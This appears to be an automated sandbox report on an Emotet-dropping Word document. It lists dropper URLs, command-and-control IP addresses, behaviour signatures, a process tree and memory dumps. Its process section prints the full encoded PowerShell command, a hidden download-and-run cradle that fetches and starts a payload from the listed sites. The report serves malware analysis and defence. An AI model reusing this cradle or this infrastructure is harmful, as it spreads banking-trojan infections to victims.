Overview

overview

10

task1

 

10

task2

 

10

Analysis

  • max time kernel
    147s
  • resource
    win7v191014
  • submitted
    09-12-2019 13:55

Sharing

Copy URL
Twitter E-mail

General

  • Target

    Docs_9d7f3caa367ce2f658699461660b4254.27.doc

  • Sample

    191209-65apaagqss

  • SHA256

    918b8d165836e26ba2c38b5ea59b140cd7dd7d41244feedcc11856de22af244d

Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://www.alfalah-ent.com/cms/a7rwpyxb9-k33-1101120868/
exe.dropper

https://raasset.com/x/crHctWU/
exe.dropper

http://alexandrearealty.com/tmp/OyjFYg/
exe.dropper

http://mehuaedxb.com/css/qIkFIs/
exe.dropper

http://mosaiclabel.com/4f9xnykaf/amz4jg4-x3i-459569728/

Extracted

Family

emotet

C2

24.27.122.202:80

67.171.182.231:80

190.171.135.235:80

103.9.145.19:8080

46.105.128.215:8080

172.105.213.30:80

69.30.205.162:7080

115.179.91.58:80

181.44.166.242:80

78.46.87.133:8080

81.213.145.45:443

83.156.88.159:80

210.111.160.220:80

195.191.107.67:80

192.241.220.183:8080

1.32.54.12:8080

192.161.190.171:8080

190.189.79.73:80

122.11.164.183:80

41.77.74.214:443
rsa_pubkey.plain

Signatures

  • Suspicious use of WriteProcessMemory 3 IoCs
  • Suspicious behavior: EmotetMutantsSpam 2 IoCs
  • Drops file in System32 directory 6 IoCs
  • Modifies registry class 136 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

    trojanbankeremotet
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_9d7f3caa367ce2f658699461660b4254.27.doc"
    1⤵
    • Drops file in System32 directory
    • Suspicious use of FindShellTrayWindow
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1508
  • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
    Powershell -w hidden -en JABJAGwAdwB3AGsAZwBiAHIAcgA9ACcATQBsAHkAZABmAHQAcQBxAGgAJwA7ACQAVABpAHQAdQBjAGUAcgBzAGkAaQBzACAAPQAgACcAOQAzADgAJwA7ACQASQBvAGkAZgBiAHgAZAB6AGoAdQB2AGYAPQAnAE0AYwByAHQAeABiAGkAbgBpAHEAZgBuACcAOwAkAFkAYwBvAGQAbwBqAG4AeQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAVABpAHQAdQBjAGUAcgBzAGkAaQBzACsAJwAuAGUAeABlACcAOwAkAFMAYwB3AGkAdQByAG4AaQBjAGIAYQA9ACcAQgB3AHIAcQBzAGwAbgBoAG4AeQBvACcAOwAkAE0AbABtAGcAZgB1AHAAbwB4AGUAdQBwAHUAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4AZQBUAC4AdwBFAGIAQwBsAGkARQBuAHQAOwAkAEkAaABrAG8AbQBoAHQAYwA9ACcAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGEAbABmAGEAbABhAGgALQBlAG4AdAAuAGMAbwBtAC8AYwBtAHMALwBhADcAcgB3AHAAeQB4AGIAOQAtAGsAMwAzAC0AMQAxADAAMQAxADIAMAA4ADYAOAAvACoAaAB0AHQAcABzADoALwAvAHIAYQBhAHMAcwBlAHQALgBjAG8AbQAvAHgALwBjAHIASABjAHQAVwBVAC8AKgBoAHQAdABwADoALwAvAGEAbABlAHgAYQBuAGQAcgBlAGEAcgBlAGEAbAB0AHkALgBjAG8AbQAvAHQAbQBwAC8ATwB5AGoARgBZAGcALwAqAGgAdAB0AHAAOgAvAC8AbQBlAGgAdQBhAGUAZAB4AGIALgBjAG8AbQAvAGMAcwBzAC8AcQBJAGsARgBJAHMALwAqAGgAdAB0AHAAOgAvAC8AbQBvAHMAYQBpAGMAbABhAGIAZQBsAC4AYwBvAG0ALwA0AGYAOQB4AG4AeQBrAGEAZgAvAGEAbQB6ADQAagBnADQALQB4ADMAaQAtADQANQA5ADUANgA5ADcAMgA4AC8AJwAuACIAUwBQAGAATABJAFQAIgAoACcAKgAnACkAOwAkAE0AdQBnAHIAegBuAGoAbwBnAGcAPQAnAEwAYgBkAGUAYQBxAHMAZABtAGcAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEMAbgBnAGQAYgBpAGsAagBzAHEAbAAgAGkAbgAgACQASQBoAGsAbwBtAGgAdABjACkAewB0AHIAeQB7ACQATQBsAG0AZwBmAHUAcABvAHgAZQB1AHAAdQAuACIAZABPAHcAbgBMAGAATwBgAEEAZABmAGAASQBMAEUAIgAoACQAQwBuAGcAZABiAGkAawBqAHMAcQBsACwAIAAkAFkAYwBvAGQAbwBqAG4AeQApADsAJABBAG4AYwB6AGgAZQBkAGkAaQBpAGUAPQAnAEsAYgBuAGsAYQB1AHAAcwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAFkAYwBvAGQAbwBqAG4AeQApAC4AIgBMAEUAYABOAGcAVABIACIAIAAtAGcAZQAgADIAMgA5ADIAMgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAHQAYABBAFIAdAAiACgAJABZAGMAbwBkAG8AagBuAHkAKQA7ACQASgBjAG4AaAB2AHcAegBmAGQAcAA9ACcATABrAGgAYwBkAHEAZQBkAHcAawAnADsAYgByAGUAYQBrADsAJABQAGYAdABtAGwAYgB4AHcAZwBzAHAAPQAnAFcAbQBsAGkAeQBwAG0AcwBwAGIAYQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABNAGMAegBkAG4AegBhAHgAcgBxAGQAbgA9ACcAUgB2AGYAdAB1AGIAbABnACcA
    1⤵
    • Suspicious use of WriteProcessMemory
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1056
    • C:\Users\Admin\938.exe
      "C:\Users\Admin\938.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      PID:1144
      • C:\Users\Admin\938.exe
        --1d0cddc
        3⤵
        • Suspicious behavior: EmotetMutantsSpam
        • Drops file in System32 directory
        • Executes dropped EXE
        • Suspicious use of SetWindowsHookEx
        PID:1568
  • C:\Windows\system32\conhost.exe
    \??\C:\Windows\system32\conhost.exe "1357304515-49625428213239389931465246131-418946311504728357825126170-1064745522"
    1⤵
    • Suspicious use of SetWindowsHookEx
    PID:2000
  • C:\Windows\System32\svchost.exe
    C:\Windows\System32\svchost.exe -k WerSvcGroup
    1⤵
      PID:796
    • C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
      "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
      1⤵
        PID:284
      • C:\Windows\SysWOW64\methodsmonthly.exe
        "C:\Windows\SysWOW64\methodsmonthly.exe"
        1⤵
        • Suspicious use of WriteProcessMemory
        • Executes dropped EXE
        • Suspicious use of SetWindowsHookEx
        PID:1116
        • C:\Windows\SysWOW64\methodsmonthly.exe
          --2619126d
          2⤵
          • Suspicious behavior: EmotetMutantsSpam
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Executes dropped EXE
          • Suspicious use of SetWindowsHookEx
          PID:604

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Initial Access

      Execution

      Persistence

      Privilege Escalation

      Defense Evasion

      Credential Access

      Discovery

      Query Registry

      1
      T1012

      Lateral Movement

      Collection

      Exfiltration

      Command and Control

      Impact

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\938.exe
        Download Submit
      • C:\Users\Admin\938.exe
        Download Submit
      • C:\Users\Admin\938.exe
        Download Submit
      • C:\Windows\SysWOW64\methodsmonthly.exe
        Download Submit
      • C:\Windows\SysWOW64\methodsmonthly.exe
        Download Submit
      • memory/604-16-0x0000000000400000-0x00000000004A2000-memory.dmp
        Filesize

        648KB

        Download
      • memory/604-15-0x00000000004D0000-0x00000000004E7000-memory.dmp
        Filesize

        92KB

        Download
      • memory/1116-13-0x0000000000270000-0x0000000000287000-memory.dmp
        Filesize

        92KB

        Download
      • memory/1144-8-0x00000000003A0000-0x00000000003B7000-memory.dmp
        Filesize

        92KB

        Download
      • memory/1508-0-0x00000000063C0000-0x00000000063C4000-memory.dmp
        Filesize

        16KB

        Download
      • memory/1508-5-0x00000000064E2000-0x00000000064E6000-memory.dmp
        Filesize

        16KB

        Download
      • memory/1508-4-0x00000000064E2000-0x00000000064E6000-memory.dmp
        Filesize

        16KB

        Download
      • memory/1508-3-0x0000000008ED0000-0x0000000008ED4000-memory.dmp
        Filesize

        16KB

        Download
      • memory/1508-2-0x00000000064E2000-0x00000000064E6000-memory.dmp
        Filesize

        16KB

        Download
      • memory/1508-1-0x0000000006539000-0x000000000653C000-memory.dmp
        Filesize

        12KB

        Download
      • memory/1568-10-0x0000000000320000-0x0000000000337000-memory.dmp
        Filesize

        92KB

        Download
      • memory/1568-11-0x0000000000400000-0x00000000004A2000-memory.dmp
        Filesize

        648KB

        Download